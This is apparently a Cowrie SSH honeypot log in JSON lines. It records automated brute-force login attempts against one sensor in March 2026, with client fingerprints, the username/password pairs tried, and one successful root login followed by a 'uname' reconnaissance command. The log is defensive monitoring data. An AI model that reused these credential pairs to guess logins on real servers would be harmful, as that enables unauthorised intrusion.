{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:24:48.643943Z","src_ip":"64.176.195.200","session":"71bcb846cac0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:24:48.648397Z","src_ip":"64.176.195.200","session":"71bcb846cac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"purchase","password":"purchase1","message":"login attempt [purchase/purchase1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:24:48.657615Z","src_ip":"64.176.195.200","session":"71bcb846cac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:24:49.663704Z","src_ip":"64.176.195.200","session":"71bcb846cac0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.231.14.54","src_port":49386,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ed996a24e18","protocol":"ssh","message":"New connection: 103.231.14.54:49386 (159.203.135.109:22) [session: 3ed996a24e18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:24:56.541655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:24:56.546041Z","src_ip":"103.231.14.54","session":"3ed996a24e18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:24:56.780410Z","src_ip":"103.231.14.54","session":"3ed996a24e18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"wwwpass","message":"login attempt [www/wwwpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:24:57.483335Z","src_ip":"103.231.14.54","session":"3ed996a24e18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:24:58.739674Z","src_ip":"103.231.14.54","session":"3ed996a24e18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":58790,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd9b8760f653","protocol":"ssh","message":"New connection: 162.120.6.20:58790 (159.203.135.109:22) [session: dd9b8760f653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:25:16.625492Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:25:16.697066Z","src_ip":"162.120.6.20","session":"dd9b8760f653","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":58794,"dst_ip":"159.203.135.109","dst_port":22,"session":"9be45ad63d65","protocol":"ssh","message":"New connection: 162.120.6.20:58794 (159.203.135.109:22) [session: 9be45ad63d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:25:16.763478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:25:16.767946Z","src_ip":"162.120.6.20","session":"9be45ad63d65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:25:16.838103Z","src_ip":"162.120.6.20","session":"9be45ad63d65","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qaz1wsx2123","message":"login attempt [root/qaz1wsx2123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:25:17.052219Z","src_ip":"162.120.6.20","session":"9be45ad63d65","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:25:17.229558Z","src_ip":"162.120.6.20","session":"9be45ad63d65","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:25:17.232497Z","src_ip":"162.120.6.20","session":"9be45ad63d65","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:25:17.305311Z","src_ip":"162.120.6.20","session":"9be45ad63d65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:25:17.310569Z","src_ip":"162.120.6.20","session":"9be45ad63d65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":57478,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb75138c3833","protocol":"ssh","message":"New connection: 2.57.122.238:57478 (159.203.135.109:22) [session: bb75138c3833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:25:34.605376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:25:34.610232Z","src_ip":"2.57.122.238","session":"bb75138c3833","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:25:34.709529Z","src_ip":"2.57.122.238","session":"bb75138c3833","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:25:35.007425Z","src_ip":"2.57.122.238","session":"bb75138c3833","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:25:36.108985Z","src_ip":"2.57.122.238","session":"bb75138c3833","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":40958,"dst_ip":"159.203.135.109","dst_port":22,"session":"a415053bd8f1","protocol":"ssh","message":"New connection: 95.58.255.251:40958 (159.203.135.109:22) [session: a415053bd8f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:25:52.402732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:25:52.406929Z","src_ip":"95.58.255.251","session":"a415053bd8f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:25:52.579071Z","src_ip":"95.58.255.251","session":"a415053bd8f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dockeradmin","password":"dockeradmin","message":"login attempt [dockeradmin/dockeradmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:25:53.298939Z","src_ip":"95.58.255.251","session":"a415053bd8f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:25:54.473463Z","src_ip":"95.58.255.251","session":"a415053bd8f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.217.130.86","src_port":45427,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ade33c2197c","protocol":"ssh","message":"New connection: 189.217.130.86:45427 (159.203.135.109:22) [session: 7ade33c2197c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:26:00.427169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:26:00.431965Z","src_ip":"189.217.130.86","session":"7ade33c2197c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:26:00.508450Z","src_ip":"189.217.130.86","session":"7ade33c2197c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ray","password":"Ray123!","message":"login attempt [ray/Ray123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:26:00.843793Z","src_ip":"189.217.130.86","session":"7ade33c2197c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:26:01.923879Z","src_ip":"189.217.130.86","session":"7ade33c2197c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.207.244","src_port":47238,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2f4015511ef","protocol":"ssh","message":"New connection: 45.78.207.244:47238 (159.203.135.109:22) [session: b2f4015511ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:26:05.908874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:26:05.914236Z","src_ip":"45.78.207.244","session":"b2f4015511ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:26:06.157117Z","src_ip":"45.78.207.244","session":"b2f4015511ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"min","password":"1234","message":"login attempt [min/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:26:07.162146Z","src_ip":"45.78.207.244","session":"b2f4015511ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:26:08.406972Z","src_ip":"45.78.207.244","session":"b2f4015511ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.231.14.54","src_port":47090,"dst_ip":"159.203.135.109","dst_port":22,"session":"41fd6139f40b","protocol":"ssh","message":"New connection: 103.231.14.54:47090 (159.203.135.109:22) [session: 41fd6139f40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:26:40.802947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:26:40.807267Z","src_ip":"103.231.14.54","session":"41fd6139f40b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:26:41.038494Z","src_ip":"103.231.14.54","session":"41fd6139f40b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ray","password":"Ray123!","message":"login attempt [ray/Ray123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:26:41.738798Z","src_ip":"103.231.14.54","session":"41fd6139f40b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:26:42.971836Z","src_ip":"103.231.14.54","session":"41fd6139f40b","protocol":"ssh"}
